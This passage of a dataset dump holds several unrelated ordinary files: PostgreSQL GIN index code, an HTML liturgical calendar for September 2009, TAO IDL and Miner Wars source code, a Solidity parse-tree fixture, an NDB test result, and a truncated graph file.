\\\"%s\\\"\",\n\t\t\t stack->blkno, RelationGetRelationName(btree->index));\n\n\t/* this loop crawls up the stack until the insertion is complete */\n\tdo\n\t{\n\t\tGinBtreeStack *parent = stack->parent;\n\t\tvoid\t *insertdata;\n\t\tBlockNumber updateblkno;\n\n\t\t/* search parent to lock */\n\t\tLockBuffer(parent->buffer, GIN_EXCLUSIVE);\n\n\t\t/*\n\t\t * If the parent page was incompletely split, finish that split first,\n\t\t * then continue with the current one.\n\t\t *\n\t\t * Note: we have to finish *all* incomplete splits we encounter, even\n\t\t * if we have to move right. Otherwise we might choose as the target a\n\t\t * page that has no downlink in the parent, and splitting it further\n\t\t * would fail.\n\t\t */\n\t\tif (GinPageIsIncompleteSplit(BufferGetPage(parent->buffer)))\n\t\t\tginFinishSplit(btree, parent, false, buildStats);\n\n\t\t/* move right if it's needed */\n\t\tpage = BufferGetPage(parent->buffer);\n\t\twhile ((parent->off = btree->findChildPtr(btree, page, stack->blkno, parent->off)) == InvalidOffsetNumber)\n\t\t{\n\t\t\tif (GinPageRightMost(page))\n\t\t\t{\n\t\t\t\t/*\n\t\t\t\t * rightmost page, but we don't find parent, we should use\n\t\t\t\t * plain search...\n\t\t\t\t */\n\t\t\t\tLockBuffer(parent->buffer, GIN_UNLOCK);\n\t\t\t\tginFindParents(btree, stack);\n\t\t\t\tparent = stack->parent;\n\t\t\t\tAssert(parent != NULL);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tparent->buffer = ginStepRight(parent->buffer, btree->index, GIN_EXCLUSIVE);\n\t\t\tparent->blkno = BufferGetBlockNumber(parent->buffer);\n\t\t\tpage = BufferGetPage(parent->buffer);\n\n\t\t\tif (GinPageIsIncompleteSplit(BufferGetPage(parent->buffer)))\n\t\t\t\tginFinishSplit(btree, parent, false, buildStats);\n\t\t}\n\n\t\t/* insert the downlink */\n\t\tinsertdata = btree->prepareDownlink(btree, stack->buffer);\n\t\tupdateblkno = GinPageGetOpaque(BufferGetPage(stack->buffer))->rightlink;\n\t\tdone = ginPlaceToPage(btree, parent,\n\t\t\t\t\t\t\t insertdata, updateblkno,\n\t\t\t\t\t\t\t stack->buffer, buildStats);\n\t\tpfree(insertdata);\n\n\t\t/*\n\t\t * If the caller requested to free the stack, unlock and release the\n\t\t * child buffer now. Otherwise keep it pinned and locked, but if we\n\t\t * have to recurse up the tree, we can unlock the upper pages, only\n\t\t * keeping the page at the bottom of the stack locked.\n\t\t */\n\t\tif (!first || freestack)\n\t\t\tLockBuffer(stack->buffer, GIN_UNLOCK);\n\t\tif (freestack)\n\t\t{\n\t\t\tReleaseBuffer(stack->buffer);\n\t\t\tpfree(stack);\n\t\t}\n\t\tstack = parent;\n\n\t\tfirst = false;\n\t} while (!done);\n\n\t/* unlock the parent */\n\tLockBuffer(stack->buffer, GIN_UNLOCK);\n\n\tif (freestack)\n\t\tfreeGinBtreeStack(stack);\n}\n\n/*\n * Insert a value to tree described by stack.\n *\n * The value to be inserted is given in 'insertdata'. Its format depends\n * on whether this is an entry or data tree, ginInsertValue just passes it\n * through to the tree-specific callback function.\n *\n * During an index build, buildStats is non-null and the counters it contains\n * are incremented as needed.\n *\n * NB: the passed-in stack is freed, as though by freeGinBtreeStack.\n */\nvoid\nginInsertValue(GinBtree btree, GinBtreeStack *stack, void *insertdata,\n\t\t\t GinStatsData *buildStats)\n{\n\tbool\t\tdone;\n\n\t/* If the leaf page was incompletely split, finish the split first */\n\tif (GinPageIsIncompleteSplit(BufferGetPage(stack->buffer)))\n\t\tginFinishSplit(btree, stack, false, buildStats);\n\n\tdone = ginPlaceToPage(btree, stack,\n\t\t\t\t\t\t insertdata, InvalidBlockNumber,\n\t\t\t\t\t\t InvalidBuffer, buildStats);\n\tif (done)\n\t{\n\t\tLockBuffer(stack->buffer, GIN_UNLOCK);\n\t\tfreeGinBtreeStack(stack);\n\t}\n\telse\n\t\tginFinishSplit(btree, stack, true, buildStats);\n}\n"} -{"text": "Ordo\n

    DA Ordo 2009 September

    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
    DayROfficesRankCommonSpecialsCommemoratio
    01 Tue1.1S. Aegidii Abbatis SimplexConfessor not BishopPreces D.
    Suffr.    		Ss. Duodecim Fratrum Mm.
    -- V12S. Stephani Hungariae Regis Confessoris SemiduplexConfessor not BishopPreces D.
    Suffr.    		--
    02 Wen2S. Stephani Hungariae Regis Confessoris SemiduplexConfessor not BishopPreces D.
    Suffr.    		--
    -- V13
    2    		S. Pius X Papae Confessoris
    S. Stephani Hungariae Regis Confessoris    		 DuplexConfessor BishopAnt. Magn.S. Stephani Hungariae Regis Confessoris
    03 Thu3S. Pius X Papae Confessoris DuplexConfessor Bishop----
    -- V23S. Pius X Papae Confessoris DuplexConfessor BishopAnt. Magn.--
    04 Fri1\nFeria Sexta infra Hebdomadam XIII post Octavam Pentecostes I. Septembris Ferial--Preces D.
    Suffr.    		--
    -- V12
    2    		S. Laurentii Justiniani Episcopi et Confessoris
    Sanctae Mariae Sabbato    		 SemiduplexConfessor BishopDoxology
    Preces D.
    Suffr.    		Sanctae Mariae Sabbato
    05 Sat2S. Laurentii Justiniani Episcopi et Confessoris SemiduplexConfessor BishopPreces D.
    Suffr.    		--
    -- V15\n
    2    		Dominica XIV Post Pentecosten II. Septembris
    S. Laurentii Justiniani Episcopi et Confessoris    		 Semiduplex Dominica minor--Ant. Magn.
    Preces D.
    Suffr.    		S. Laurentii Justiniani Episcopi et Confessoris
    06 Sun5\nDominica XIV Post Pentecosten II. Septembris Semiduplex Dominica minor--Ant. Bened.
    Preces D.
    Suffr.    		--
    -- V25\nDominica XIV Post Pentecosten II. Septembris Semiduplex Dominica minor--Ant. Magn.
    Preces D.
    Suffr.    		--
    07 Mon1\nFeria Secunda infra Hebdomadam XIV post Octavam Pentecostes II. Septembris Ferial--Preces D.
    Suffr.    		--
    -- V15.1Nativitate Beatae Mariae Virginis Duplex II. classBlessed Virgin MaryDoxology
    Ant. Psalm.
    Ant. Magn.    		--
    08 Tue5.1Nativitate Beatae Mariae Virginis Duplex II. classBlessed Virgin MaryDoxology
    Ant. Psalm.
    Ant. Bened.    		S. Adriani, Mart
    -- V25.1Nativitate Beatae Mariae Virginis Duplex II. classBlessed Virgin MaryDoxology
    Ant. Psalm.
    Ant. Magn.    		--
    09 Wen1.1S. Gorgonii mart. Simplexone MartyrPreces D.
    Suffr.    		--
    -- V13S. Nicolai de Tolentino Confessoris DuplexConfessor not Bishop----
    10 Thu3S. Nicolai de Tolentino Confessoris DuplexConfessor not Bishop----
    -- V23
    1.1    		S. Nicolai de Tolentino Confessoris
    Ss. Protii et Hyacinthy Martyrum    		 DuplexConfessor not Bishop--Ss. Protii et Hyacinthy Martyrum
    11 Fri1.1Ss. Protii et Hyacinthy Martyrum Simplexmany MartyrsPreces D.
    Suffr.    		--
    -- V14
    2    		S. Nominis Beatae Mariae Virginis
    Sanctae Mariae Sabbato    		 Duplex majusBlessed Virgin MaryDoxology
    Ant. Magn.    		Sanctae Mariae Sabbato
    12 Sat4S. Nominis Beatae Mariae Virginis Duplex majusBlessed Virgin MaryDoxology--
    -- V15\n
    2
    4    		Dominica XV Post Pentecosten III. Septembris
    Sexta die infra Octavam Nativitatis Beatae Mariae Virginis
    S. Nominis Beatae Mariae Virginis    		 Semiduplex Dominica minor--Doxology
    Ant. Magn.    		S. Nominis Beatae Mariae Virginis
    Sexta die infra Octavam Nativitatis Beatae Mariae Virginis
    13 Sun5\nDominica XV Post Pentecosten III. Septembris Semiduplex Dominica minor--Ant. Bened.
    Preces D.    		--
    -- V25\n
    4    		Dominica XV Post Pentecosten III. Septembris
    In Exaltatione Sanctae crucis    		 Semiduplex Dominica minor--Ant. Magn.In Exaltatione Sanctae crucis
    14 Mon4In Exaltatione Sanctae crucis Duplex majus05-03Ant. Psalm.--
    -- V15.1
    4    		Septem Dolorum Beatae Mariae Virginis
    In Exaltatione Sanctae crucis    		 Duplex II. classBlessed Virgin MaryDoxology
    Ant. Psalm.
    Capitulum
    Hymnus
    Ant. Magn.    		In Exaltatione Sanctae crucis
    15 Tue5.1Septem Dolorum Beatae Mariae Virginis Duplex II. classBlessed Virgin MaryDoxology
    Ant. Psalm.
    Capitulum
    Hymnus
    Ant. Bened.    		S. Nicomedis.
    -- V25.1
    2.1    		Septem Dolorum Beatae Mariae Virginis
    Ss. Cornelii et Cypriani Pontificium et Martyrum    		 Duplex II. classBlessed Virgin MaryDoxology
    Ant. Psalm.
    Capitulum
    Hymnus
    Ant. Magn.    		Ss. Cornelii et Cypriani Pontificium et Martyrum
    16 Wen2.1
    2\n    		Ss. Cornelii et Cypriani Pontificium et Martyrum
    Feria Quarta Quattuor Temporum Septembris
    Scriptura transfer : 093-1    		 Semiduplexmany MartyrsPreces D.
    Suffr.    		Feria Quarta Quattuor Temporum Septembris
    Ss. Euphemiae, Luciae et Geminiani Martyrum.
    -- V13
    2\n
    2.1    		Impressionis Stigmatum S. Francisci
    Feria Quarta Quattuor Temporum Septembris
    Ss. Cornelii et Cypriani Pontificium et Martyrum    		 DuplexConfessor not BishopHymnusSs. Cornelii et Cypriani Pontificium et Martyrum
    Feria Quarta Quattuor Temporum Septembris
    17 Thu3Impressionis Stigmatum S. Francisci DuplexConfessor not BishopHymnus--
    -- V13
    3    		S. Joseph Cupertino
    Impressionis Stigmatum S. Francisci    		 DuplexConfessor not BishopAnt. Magn.Impressionis Stigmatum S. Francisci
    18 Fri3
    2\n    		S. Joseph Cupertino
    Feria Sexta Quattuor Temporum Septembris    		 DuplexConfessor not BishopAnt. Bened.Feria Sexta Quattuor Temporum Septembris
    -- V23
    2    		S. Joseph Cupertino
    Sanctae Mariae Sabbato    		 DuplexConfessor not BishopDoxology
    Ant. Magn.    		Sanctae Mariae Sabbato
    19 Sat3
    2\n    		S. Januarii Episcopi et Sociorum Martyrum
    Sabbato Quattuor Temporum Septembris
    Scriptura transfer : 093-2    		 Duplexmany Martyrs--Sabbato Quattuor Temporum Septembris
    -- V15\n
    3    		Dominica XVI Post Pentecosten IV. Septembris
    S. Januarii Episcopi et Sociorum Martyrum    		 Semiduplex Dominica minor--Ant. Magn.S. Januarii Episcopi et Sociorum Martyrum
    20 Sun5\nDominica XVI Post Pentecosten IV. Septembris Semiduplex Dominica minor--Ant. Bened.
    Preces D.
    Suffr.    		--
    -- V15.1
    3
    5\n    		S. Matthei Apostoli et Evangelistae
    S. Eustachii et Sociorum Martyrum
    Dominica XVI Post Pentecosten IV. Septembris    		 Duplex II. classEvangelist--S. Eustachii et Sociorum Martyrum
    Dominica XVI Post Pentecosten IV. Septembris
    21 Mon5.1S. Matthei Apostoli et Evangelistae Duplex II. classEvangelist----
    -- V25.1
    3    		S. Matthei Apostoli et Evangelistae
    S. Thomae de Villanove Episcopi et Confessoris    		 Duplex II. classEvangelist--S. Thomae de Villanove Episcopi et Confessoris
    22 Tue3S. Thomae de Villanove Episcopi et Confessoris DuplexConfessor BishopAnt. Bened.Ss. Martyris Mauritii et Sociorum
    -- V23
    2.1    		S. Thomae de Villanove Episcopi et Confessoris
    S. Lini Papae et Martyris    		 DuplexConfessor BishopAnt. Magn.S. Lini Papae et Martyris
    S. Theclae Virginis et Martyris
    23 Wen2.1S. Lini Papae et Martyris Semiduplexone MartyrPreces D.
    Suffr.    		S. Theclae Virginis et Martyris
    -- V14
    2.1    		Beatae Mariae Virginis de Mercede
    S. Lini Papae et Martyris    		 Duplex majusBlessed Virgin MaryDoxologyS. Lini Papae et Martyris
    24 Thu4Beatae Mariae Virginis de Mercede Duplex majusBlessed Virgin MaryDoxology--
    -- V24Beatae Mariae Virginis de Mercede Duplex majusBlessed Virgin MaryDoxology--
    25 Fri1\nFeria Sexta infra Hebdomadam XVI post Octavam Pentecostes IV. Septembris Ferial--Preces D.
    Suffr.    		--
    -- V21
    1.1    		Sanctae Mariae Sabbato
    Ss. Cypriani et Justinae Martyri    		 FerialB.M.V. on SaturdayDoxology
    Capitulum
    Hymnus
    Ant. Magn.
    Preces D.
    Suffr.    		Ss. Cypriani et Justinae Martyri
    26 Sat1
    1.1    		Sanctae Mariae Sabbato
    Ss. Cypriani et Justinae Martyri    		 FerialB.M.V. on SaturdayDoxology
    Capitulum
    Hymnus
    Ant. Bened.
    Preces D.
    Suffr.    		Ss. Cypriani et Justinae Martyri
    -- V15\n
    2    		Dominica XVII Post Pentecosten V. Septembris
    S. Cosmae et Damiani Martyrum    		 Semiduplex Dominica minor--Ant. Magn.
    Preces D.
    Suffr.    		S. Cosmae et Damiani Martyrum
    27 Sun5\n
    2    		Dominica XVII Post Pentecosten V. Septembris
    S. Cosmae et Damiani Martyrum    		 Semiduplex Dominica minor--Ant. Bened.
    Preces D.
    Suffr.    		S. Cosmae et Damiani Martyrum
    -- V25\n
    2
    2    		Dominica XVII Post Pentecosten V. Septembris
    S. Cosmae et Damiani Martyrum
    S. Wenceslai Ducis et Martyris    		 Semiduplex Dominica minor--Ant. Magn.
    Preces D.
    Suffr.    		S. Wenceslai Ducis et Martyris
    S. Cosmae et Damiani Martyrum
    28 Mon2S. Wenceslai Ducis et Martyris Semiduplexone MartyrPreces D.
    Suffr.    		--
    -- V16In dedicatione S. Michaelis Archangelis Duplex I. class05-08----
    29 Tue6In dedicatione S. Michaelis Archangelis Duplex I. class05-08Ant. Psalm.--
    -- V26
    3    		In dedicatione S. Michaelis Archangelis
    S. Hieronymi Presbyteris Confessoris et Ecclesiae Doctoris    		 Duplex I. class05-08--S. Hieronymi Presbyteris Confessoris et Ecclesiae Doctoris
    30 Wen3S. Hieronymi Presbyteris Confessoris et Ecclesiae Doctoris DuplexConfessor not Bishop----
    -- V23
    1.1    		S. Hieronymi Presbyteris Confessoris et Ecclesiae Doctoris
    S. Remigii Episcopi Confessoris    		 DuplexConfessor not BishopAnt. Magn.S. Remigii Episcopi Confessoris
    \n"} -{"text": "\n//=============================================================================\n/**\n * @file discriminant_ci.cpp\n *\n * Visitor generating code for discriminant of the union.\n *\n * @author Aniruddha Gokhale\n */\n//=============================================================================\n\n#include \"union.h\"\n\nbe_visitor_union_discriminant_ci::be_visitor_union_discriminant_ci (\n be_visitor_context *ctx)\n : be_visitor_decl (ctx)\n{\n}\n\nbe_visitor_union_discriminant_ci::~be_visitor_union_discriminant_ci (void)\n{\n}\n\nint\nbe_visitor_union_discriminant_ci::visit_enum (be_enum *node)\n{\n be_union *bu =\n dynamic_cast (this->ctx_->node ());\n be_type *bt = 0;\n\n if (this->ctx_->alias ())\n {\n bt = this->ctx_->alias ();\n }\n else\n {\n bt = node;\n }\n\n TAO_OutStream *os = this->ctx_->stream ();\n\n // now check if we need to generate the _default () method\n be_union::DefaultValue dv;\n\n if (bu->default_value (dv) == -1)\n {\n ACE_ERROR_RETURN ((LM_ERROR,\n ACE_TEXT (\"be_visitor_union_discriminant_ci::\")\n ACE_TEXT (\"visit_enum - \")\n ACE_TEXT (\"computing default value failed\\n\")),\n -1);\n }\n\n *os << be_nl_2 << \"// TAO_IDL - Generated from\" << be_nl\n << \"// \" << __FILE__ << \":\" << __LINE__ << be_nl_2;\n\n if ((dv.computed_ != 0) && (bu->default_index () == -1))\n {\n // Only if all cases are not covered AND there is no explicit\n // default, we get the _default () method.\n *os << \"ACE_INLINE\" << be_nl\n << \"void\" << be_nl\n << bu->name () << \"::_default ()\" << be_nl\n << \"{\" << be_idt_nl\n << \"this->_reset ();\" << be_nl\n << \"this->disc_ = \";\n\n // We use one of the enum values that isn't used in this\n // union if one is available.\n UTL_ScopedName *sn = node->value_to_name (dv.u.enum_val);\n\n if (sn)\n {\n // The function value_to_name() takes care of adding\n // any necessary scoping to the output.\n *os << sn;\n }\n else\n {\n // Since CORBA defines enums to be 32bits, use -1 as the\n // out-of-bounds value for the _default() function.\n *os << \"static_cast <\" << bt->name () << \"> (-1)\";\n }\n\n *os << \";\" << be_uidt_nl\n << \"}\" << be_nl_2;\n }\n\n // the set method\n *os << \"// Accessor to set the discriminant.\" << be_nl\n << \"ACE_INLINE\" << be_nl\n << \"void\" << be_nl\n << bu->name () << \"::_d (\" << bt->name ()\n << \" discval)\" << be_nl\n << \"{\" << be_idt_nl\n << \"this->disc_ = discval;\" << be_uidt_nl\n << \"}\" << be_nl_2;\n\n // the get method\n *os << \"// Accessor to get the discriminant.\" << be_nl\n << \"ACE_INLINE\" << be_nl\n << bt->name () << be_nl\n << bu->name () << \"::_d (void) const\" << be_nl\n << \"{\" << be_idt_nl\n << \"return this->disc_;\" << be_uidt_nl\n << \"}\";\n\n return 0;\n}\n\nint\nbe_visitor_union_discriminant_ci::visit_predefined_type (\n be_predefined_type *node\n )\n{\n be_union *bu =\n dynamic_cast (this->ctx_->node ());\n\n be_type *bt = 0;\n\n if (this->ctx_->alias ())\n {\n bt = this->ctx_->alias ();\n }\n else\n {\n bt = node;\n }\n\n TAO_OutStream *os = this->ctx_->stream ();\n\n // Now check if we need to generate the _default () method.\n be_union::DefaultValue dv;\n\n if (bu->default_value (dv) == -1)\n {\n ACE_ERROR_RETURN ((LM_ERROR,\n ACE_TEXT (\"be_visitor_union_discriminant_ci::\")\n ACE_TEXT (\"visit_enum - \")\n ACE_TEXT (\"computing default value failed\\n\")),\n -1);\n }\n\n *os << be_nl_2 << \"// TAO_IDL - Generated from\" << be_nl\n << \"// \" << __FILE__ << \":\" << __LINE__ << be_nl_2;\n\n if ((dv.computed_ != 0) && (bu->default_index () == -1))\n {\n // Only if all cases are not covered AND there is no explicit\n // default, we get the _default () method.\n\n *os << \"ACE_INLINE\" << be_nl\n << \"void\" << be_nl\n << bu->name () << \"::_default ()\" << be_nl\n << \"{\" << be_idt_nl\n << \"this->_reset ();\" << be_nl\n << \"this->disc_ = \";\n\n switch (bu->udisc_type ())\n {\n case AST_Expression::EV_short:\n *os << dv.u.short_val;\n break;\n case AST_Expression::EV_ushort:\n *os << dv.u.ushort_val;\n break;\n case AST_Expression::EV_long:\n *os << dv.u.long_val;\n break;\n case AST_Expression::EV_ulong:\n *os << dv.u.ulong_val;\n break;\n case AST_Expression::EV_char:\n os->print (\"'\\\\%o'\", dv.u.char_val);\n break;\n case AST_Expression::EV_bool:\n *os << (dv.u.bool_val == 0 ? \"false\" : \"true\");\n break;\n case AST_Expression::EV_longlong:\n *os << dv.u.longlong_val;\n break;\n case AST_Expression::EV_ulonglong:\n *os << dv.u.ulonglong_val;\n break;\n default:\n // Error caught earlier.\n ACE_ERROR_RETURN ((LM_ERROR,\n ACE_TEXT (\"be_visitor_union_discriminant_ci::\")\n ACE_TEXT (\"visit_predefined_type - \")\n ACE_TEXT (\"bad or unimplemented \")\n ACE_TEXT (\"discriminant type\\n\")),\n -1);\n }\n\n *os << \";\" << be_uidt_nl << \"}\";\n }\n\n // The set method.\n *os << be_nl_2\n << \"// Accessor to set the discriminant.\" << be_nl\n << \"ACE_INLINE\" << be_nl\n << \"void\" << be_nl\n << bu->name () << \"::_d ( ::\" << bt->name ()\n << \" discval)\" << be_nl\n << \"{\" << be_idt_nl\n << \"this->disc_ = discval;\" << be_uidt_nl\n << \"}\" << be_nl_2;\n\n // The get method.\n *os << \"// Accessor to get the discriminant.\" << be_nl\n << \"ACE_INLINE\" << be_nl\n << \"::\" << bt->name () << be_nl\n << bu->name () << \"::_d (void) const\" << be_nl\n << \"{\" << be_idt_nl\n << \"return this->disc_;\" << be_uidt_nl\n << \"}\";\n\n return 0;\n}\n\nint\nbe_visitor_union_discriminant_ci::visit_typedef (be_typedef *node)\n{\n this->ctx_->alias (node);\n\n // The node to be visited in the base primitve type that gets typedefed.\n be_type *bt = node->primitive_base_type ();\n\n if (!bt || (bt->accept (this) == -1))\n {\n ACE_ERROR_RETURN ((LM_ERROR,\n ACE_TEXT (\"be_visitor_union_discriminant_ci::\")\n ACE_TEXT (\"visit_typedef - \")\n ACE_TEXT (\"Bad primitive type\\n\")),\n -1);\n }\n\n this->ctx_->alias (0);\n return 0;\n}\n"} -{"text": "\ufeffusing System;\nusing System.Text;\nusing MinerWars.AppCode.Game.Missions;\nusing MinerWars.AppCode.Game.World.Global;\nusing MinerWars.CommonLIB.AppCode.ObjectBuilders;\nusing MinerWars.CommonLIB.AppCode.ObjectBuilders.SubObjects;\nusing MinerWars.AppCode.Game.Localization;\n\nnamespace MinerWars.AppCode.Game.Journal\n{\n public enum StatusEnum\n {\n Unread = 1,\n Read = 2,\n }\n\n public enum EventTypeEnum\n {\n GlobalEvent = 1,\n MissionStarted = 2,\n MissionFinished = 3,\n SubmissionFinished = 4,\n SubmissionAvailable = 5,\n Story = 6,\n }\n\n class MyEventLogEntry\n {\n public StatusEnum Status { get; set; }\n\n public EventTypeEnum EventType { get; set; }\n\n public DateTime Time { get; set; }\n\n public int EventTypeID { get; set; }\n\n public MyEventLogEntry() { Time = new DateTime(2081, 1, 1); }\n\n public MyEventLogEntry(DateTime time)\n {\n Time = time;\n Status = StatusEnum.Unread;\n }\n\n public void Init(MyMwcObjectBuilder_Event objectBuilder)\n {\n Status = (StatusEnum)objectBuilder.Status;\n EventType = (EventTypeEnum)objectBuilder.EventType;\n Time = objectBuilder.Time;\n EventTypeID = objectBuilder.EventTypeID;\n }\n\n internal MyMwcObjectBuilder_Event GetObjectBuilder()\n {\n MyMwcObjectBuilder_Event builder = MyMwcObjectBuilder_Base.CreateNewObject(MyMwcObjectBuilderTypeEnum.Event, null) as MyMwcObjectBuilder_Event;\n builder.Status = (byte) Status;\n builder.EventType = (byte) EventType;\n builder.Time = Time;\n builder.EventTypeID = EventTypeID;\n return builder;\n }\n\n public StringBuilder GetName()\n {\n switch (EventType)\n {\n case EventTypeEnum.GlobalEvent:\n var globalEvent = MyGlobalEvents.GetGlobalEventByType((MyGlobalEventEnum)EventTypeID);\n if (globalEvent != null)\n {\n return MyTextsWrapper.Get(globalEvent.Name);\n }\n break;\n case EventTypeEnum.MissionStarted:\n case EventTypeEnum.MissionFinished:\n case EventTypeEnum.SubmissionAvailable:\n case EventTypeEnum.SubmissionFinished:\n //case EventTypeEnum.Story:\n var mission = MyMissions.GetMissionByID((MyMissionID)EventTypeID);\n if (mission != null)\n {\n return mission.NameTemp;\n }\n break;\n }\n return null;\n //return MyTextsWrapperEnum.Null;\n }\n\n public StringBuilder GetDescription() //TODO: change this to MyTextsWrapperEnum\n {\n switch (EventType)\n {\n case EventTypeEnum.GlobalEvent:\n var globalEvent = MyGlobalEvents.GetGlobalEventByType((MyGlobalEventEnum)EventTypeID);\n return MyTextsWrapper.Get(globalEvent.Description);\n case EventTypeEnum.MissionStarted:\n case EventTypeEnum.MissionFinished:\n case EventTypeEnum.SubmissionAvailable:\n case EventTypeEnum.SubmissionFinished:\n //case EventTypeEnum.Story:\n var mission = MyMissions.GetMissionByID((MyMissionID)EventTypeID);\n return mission.DescriptionTemp;\n }\n\n return null;\n }\n }\n}\n"} -{"text": "Solidity File\n SolContractDefinitionImpl(CONTRACT_DEFINITION)\n PsiElement(interface)('interface')\n PsiWhiteSpace(' ')\n PsiElement(Identifier)('IElement')\n PsiWhiteSpace(' ')\n PsiElement({)('{')\n PsiElement(})('}')\n PsiWhiteSpace('\\n\\n')\n SolContractDefinitionImpl(CONTRACT_DEFINITION)\n PsiElement(contract)('contract')\n PsiWhiteSpace(' ')\n PsiElement(Identifier)('MyToken')\n PsiWhiteSpace(' ')\n PsiElement({)('{')\n PsiWhiteSpace('\\n ')\n SolStateVariableDeclarationImpl(STATE_VARIABLE_DECLARATION)\n SolMappingTypeNameImpl(MAPPING_TYPE_NAME)\n PsiElement(mapping)('mapping')\n PsiWhiteSpace(' ')\n PsiElement(()('(')\n SolElementaryTypeNameImpl(ELEMENTARY_TYPE_NAME)\n PsiElement(address)('address')\n PsiWhiteSpace(' ')\n PsiElement(=>)('=>')\n PsiWhiteSpace(' ')\n SolElementaryTypeNameImpl(ELEMENTARY_TYPE_NAME)\n SolNumberTypeImpl(NUMBER_TYPE)\n PsiElement(uIntNumType)('uint256')\n PsiElement())(')')\n PsiWhiteSpace(' ')\n SolVisibilityModifierImpl(VISIBILITY_MODIFIER)\n PsiElement(public)('public')\n PsiWhiteSpace(' ')\n PsiElement(Identifier)('balanceOf')\n PsiElement(;)(';')\n PsiWhiteSpace('\\n ')\n SolStateVariableDeclarationImpl(STATE_VARIABLE_DECLARATION)\n SolMappingTypeNameImpl(MAPPING_TYPE_NAME)\n PsiElement(mapping)('mapping')\n PsiWhiteSpace(' ')\n PsiElement(()('(')\n SolElementaryTypeNameImpl(ELEMENTARY_TYPE_NAME)\n PsiElement(address)('address')\n PsiWhiteSpace(' ')\n PsiElement(=>)('=>')\n PsiWhiteSpace(' ')\n SolMappingTypeNameImpl(MAPPING_TYPE_NAME)\n PsiElement(mapping)('mapping')\n PsiWhiteSpace(' ')\n PsiElement(()('(')\n SolElementaryTypeNameImpl(ELEMENTARY_TYPE_NAME)\n PsiElement(address)('address')\n PsiWhiteSpace(' ')\n PsiElement(=>)('=>')\n PsiWhiteSpace(' ')\n SolElementaryTypeNameImpl(ELEMENTARY_TYPE_NAME)\n SolNumberTypeImpl(NUMBER_TYPE)\n PsiElement(uIntNumType)('uint256')\n PsiElement())(')')\n PsiElement())(')')\n PsiWhiteSpace(' ')\n SolVisibilityModifierImpl(VISIBILITY_MODIFIER)\n PsiElement(public)('public')\n PsiWhiteSpace(' ')\n PsiElement(Identifier)('allowance')\n PsiElement(;)(';')\n PsiWhiteSpace('\\n ')\n SolStateVariableDeclarationImpl(STATE_VARIABLE_DECLARATION)\n SolMappingTypeNameImpl(MAPPING_TYPE_NAME)\n PsiElement(mapping)('mapping')\n PsiWhiteSpace(' ')\n PsiElement(()('(')\n SolUserDefinedTypeNameImpl(USER_DEFINED_TYPE_NAME)\n PsiElement(Identifier)('IElement')\n PsiWhiteSpace(' ')\n PsiElement(=>)('=>')\n PsiWhiteSpace(' ')\n SolElementaryTypeNameImpl(ELEMENTARY_TYPE_NAME)\n PsiElement(address)('address')\n PsiElement())(')')\n PsiWhiteSpace(' ')\n SolVisibilityModifierImpl(VISIBILITY_MODIFIER)\n PsiElement(public)('public')\n PsiWhiteSpace(' ')\n PsiElement(Identifier)('testVar')\n PsiElement(;)(';')\n PsiWhiteSpace('\\n')\n PsiElement(})('}')\n"} -{"text": "create table t1 (a int, b text) engine=ndb;\ninsert into t1 values (1,'xxx'),(2,'yyy'),(3,'zzz');\nselect * from t1 order by a;\na\tb\n1\txxx\n2\tyyy\n3\tzzz\n# restart\nselect * from t1 order by a;\na\tb\n1\txxx\n2\tyyy\n3\tzzz\ndrop table t1;\n"} -{"text": "graph [\n node_count 115\n edge_count 228\n\n node_data size float\n node_data label string\n\n node [\n id 1\n degree 2\n size 1\n label \"waiting_P3\"\n ]\n node [\n id 2\n degree 2\n size 1\n label \"releasing_P3\"\n ]\n node [\n id 3\n degree 2\n size 1\n label \"init_P3\"\n ]\n node [\n id 4\n degree 2\n size 1\n label \"ready_to_consume\"\n ]\n node [\n id 5\n degree 2\n size 1\n label \"ready_to_receive\"\n ]\n node [\n id 6\n degree 2\n size 1\n label \"waiting_P2\"\n ]\n node [\n id 7\n degree 2\n size 1\n label \"releasing_P2\"\n ]\n node [\n id 8\n degree 2\n size 1\n label \"init_P2\"\n ]\n node [\n id 9\n degree 2\n size 1\n label \"waiting_P1\"\n ]\n node [\n id 10\n degree 2\n size 1\n label \"releasing_P1\"\n ]\n node [\n id 11\n degree 2\n size 1\n label \"init_P1\"\n ]\n node [\n id 12\n degree 2\n size 1\n label \"ready_to_send\"\n ]\n node [\n id 13\n degree 2\n size 1\n label \"ready_to_produce\"\n ]\n node [\n id 14\n degree 6\n size 1\n label \"ext_P1\"\n ]\n node [\n id 15\n degree 4\n size 1\n label \"norm_P1\"\n ]\n node [\n id 16\n degree 6\n size 1\n label \"basic_P1\"\n ]\n node [\n id 17\n degree 4\n size 1\n label \"R2_off_P1\"\n ]\n node [\n id 18\n degree 6\n size 1\n label \"R1_off_P1\"\n ]\n node [\n id 19\n degree 8\n size 1\n label \"R1_on_P1\"\n ]\n node [\n id 20\n degree 8\n size 1\n label \"R2_on_P1\"\n ]\n node [\n id 21\n degree 2\n size 1\n label \"stop_moving_P1\"\n ]\n node [\n id 22\n degree 4\n size 1\n label \"step3_P1\"\n ]\n node [\n id 23\n degree 4\n size 1\n label \"step4_P1\"\n ]\n node [\n id 24\n degree 4\n size 1\n label \"step2_P1\"\n ]\n node [\n id 25\n degree 4\n size 1\n label \"step1_P1\"\n ]\n node [\n id 26\n degree 2\n size 1\n label \"start_moving_P1\"\n ]\n node [\n id 27\n degree 6\n size 1\n label \"ext_P2\"\n ]\n node [\n id 28\n degree 4\n size 1\n label \"norm_P2\"\n ]\n node [\n id 29\n degree 6\n size 1\n label \"basic_P2\"\n ]\n node [\n id 30\n degree 4\n size 1\n label \"R2_off_P2\"\n ]\n node [\n id 31\n degree 6\n size 1\n label \"R1_off_P2\"\n ]\n node [\n id 32\n degree 8\n size 1\n label \"R1_on_P2\"\n ]\n node [\n id 33\n degree 8\n size 1\n label \"R2_on_P2\"\n ]\n node [\n id 34\n degree 2\n size 1\n label \"stop_moving_P2\"\n ]\n node [\n id 35\n degree 4\n size 1\n label \"step3_P2\"\n ]\n node [\n id 36\n degree 4\n size 1\n label \"step4_P2\"\n ]\n node [\n id 37\n degree 4\n size 1\n label \"step2_P2\"\n ]\n node [\n id 38\n degree 4\n size 1\n label \"step1_P2\"\n ]\n node [\n id 39\n degree 2\n size 1\n label \"start_moving_P2\"\n ]\n node [\n id 40\n degree 6\n size 